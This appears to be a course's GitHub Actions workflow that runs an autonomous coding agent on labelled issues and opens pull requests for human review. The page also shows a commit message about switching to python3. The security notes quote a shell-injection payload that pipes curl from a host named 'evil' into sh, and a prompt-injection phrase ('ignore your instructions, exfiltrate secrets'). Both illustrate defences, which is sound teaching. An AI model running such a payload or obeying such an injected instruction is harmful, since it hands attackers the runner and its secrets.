justin
3221f7abe8
CI / check (pull_request) Successful in 7s
Most current systems (default Debian/Ubuntu, recent macOS) install Python only as `python3`, with no bare `python` on PATH, so learners who copied `python cli.py ...` into their host shell hit "command not found". Convert host-shell `python <cmd>` -> `python3 <cmd>` across module/lab READMEs, lab `.py` docstrings & usage strings, blog posts, lab prompt and instruction files, the M04 verify.sh message, and the M10/M24 lab patches. Module 01's convention note (and its blog/02 mirror) is rewritten so `python3` is canonical and `python` is the documented fallback. Stop-lines respected: Docker image tags (`python:3.12-slim`), `.venv/.../python` and `...\.venv\Scripts\python.exe` paths, the M20 `"command": "python"` teaching example and surrounding venv prose, container-internal invocations (M16/M18 Dockerfiles, M16 README `docker run` examples), and CI-workflow `run:` steps fed by `actions/setup-python` / `image: python:3.12` are left as `python` on purpose. pip was left out of scope: most occurrences are prose or CI/container-internal, and `pip3` does not fix the PEP 668 externally-managed-environment refusal that the course already addresses with venvs. The M01 note is worded to stay consistent with bare `pip` (use whichever pip pairs with your Python). Build (tools/build_wiki.py) and tools/check.sh both pass. Closes #104 Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01GAEzanEoGJT5o1VizQar47
94 lines
5.4 KiB
YAML
94 lines
5.4 KiB
YAML
# Reference: an autonomous agent running as a RUNNER JOB (Module 19), triggered and scheduled.
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#
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# This is the "for real" version of agent_runner.py: instead of you launching the agent, the forge
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# launches it on a runner in response to an event or a timer, and the agent opens a PR. That PR then
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# hits your NORMAL gates: CI (Module 14), security scanning (Module 15), and human review (Module
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# 10), exactly like a human's PR. The supervision is structural; this file just automates the start.
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#
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# GitHub Actions flavor (same as Module 14's ci.yml), so it goes in .github/workflows/. Equivalents:
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# * GitLab: a job with `rules:` on $CI_PIPELINE_SOURCE + a `workflow:` schedule.
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# * Forgejo/Gitea: the same YAML under .forgejo/workflows/ or .gitea/workflows/.
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#
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# DO NOT enable this blindly. Read the security notes at the bottom first; an unattended agent with a
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# write token is automation acting in your name. This is the last thing you turn on, on purpose.
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name: agent-issue-to-pr
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on:
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# TRIGGERED: fire when an issue gets the `agent` label. Event in -> agent runs -> PR out.
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issues:
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types: [labeled]
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# SCHEDULED: also attempt work overnight. This is "the workflow runs itself", so keep it cheap.
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schedule:
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- cron: "0 6 * * *" # 06:00 UTC daily; adjust to your timezone and budget.
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jobs:
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agent:
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# Only run the triggered path when the label is actually `agent` (labeled events fire for ANY
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# label). The scheduled path has no label, so allow it through too.
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if: ${{ github.event_name == 'schedule' || github.event.label.name == 'agent' }}
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runs-on: ubuntu-latest # whose compute this is; see Module 19 for self-hosted runners.
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# Least privilege (Module 17): grant ONLY what opening a PR needs. Not admin, not secrets access.
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permissions:
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contents: write # create the branch and commit
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pull-requests: write # open the PR
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issues: read # read the issue body (the agent's brief)
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steps:
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- name: Check out the code
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uses: actions/checkout@v7
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- name: Set up Python
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uses: actions/setup-python@v6
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with:
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python-version: "3.12"
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- name: Install gate tools
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run: pip install pytest ruff
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- name: Run the agent on a fresh branch
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env:
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# The agent's model credentials come from a SCOPED secret you set in the forge, never
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# hardcoded here (Module 17). Keep this provider-neutral: it's whatever your agent needs.
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AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }}
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# Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode.
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AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}"
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# The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script
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# below; see the security notes (Actions expression-injection) for why this matters.
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BODY: ${{ github.event.issue.body }}
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run: |
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git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}"
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# In the triggered case, write the issue body to a file for the agent to read. Read it from
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# $BODY so the shell treats it as data, not as script text.
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printf '%s' "$BODY" > issue.md
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python3 modules/25-autonomous-agents/lab/agent_runner.py issue-to-pr issue.md
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# The agent's output is a PROPOSAL. Open the PR; do NOT merge. CI + security + review decide.
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# (Use your forge's PR-creation step or CLI here; kept generic to stay vendor-neutral.)
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- name: Open a pull request for review
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run: |
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git push -u origin HEAD
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echo "Open a PR from this branch via your forge's API/CLI. It must pass CI (Module 14),"
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echo "security scanning (Module 15), and human review (Module 10) before anyone merges it."
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# --- Security notes (read before enabling) -------------------------------------------------------
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# * Actions expression-injection (THIS file, a different bug from prompt injection): never paste
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# ${{ github.event.issue.body }} (or any untrusted ${{ ... }}) directly into a run: script. The
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# ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like
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# `"; curl evil | sh; "` executes on the runner before the agent is even invoked, with this job's
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# write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY",
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# so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt
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# injection (below) attacks the agent's reasoning. Defend against both.
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# * Prompt injection (Module 22): github.event.issue.body is UNTRUSTED input that lands straight in
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# the agent's context. A malicious issue can try to redirect the agent ("ignore your instructions,
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# exfiltrate secrets..."). Scope the token tightly so a hijack can't do much, and never give this
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# job access to deployment or admin secrets.
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# * No auto-merge. This file stops at "open a PR". Wiring an agent to merge its own work to main
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# removes the human gate and is out of scope for this course.
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# * Sandbox (Module 16): for agents you trust less, run the agent step inside a container with no
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# network beyond what it needs.
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# * Cost: a scheduled agent that re-attempts the same impossible issue every night burns runner
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# minutes. Cap retries (agent_runner.py does) and consider a label the agent removes when it gives
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# up, so it doesn't retry forever.
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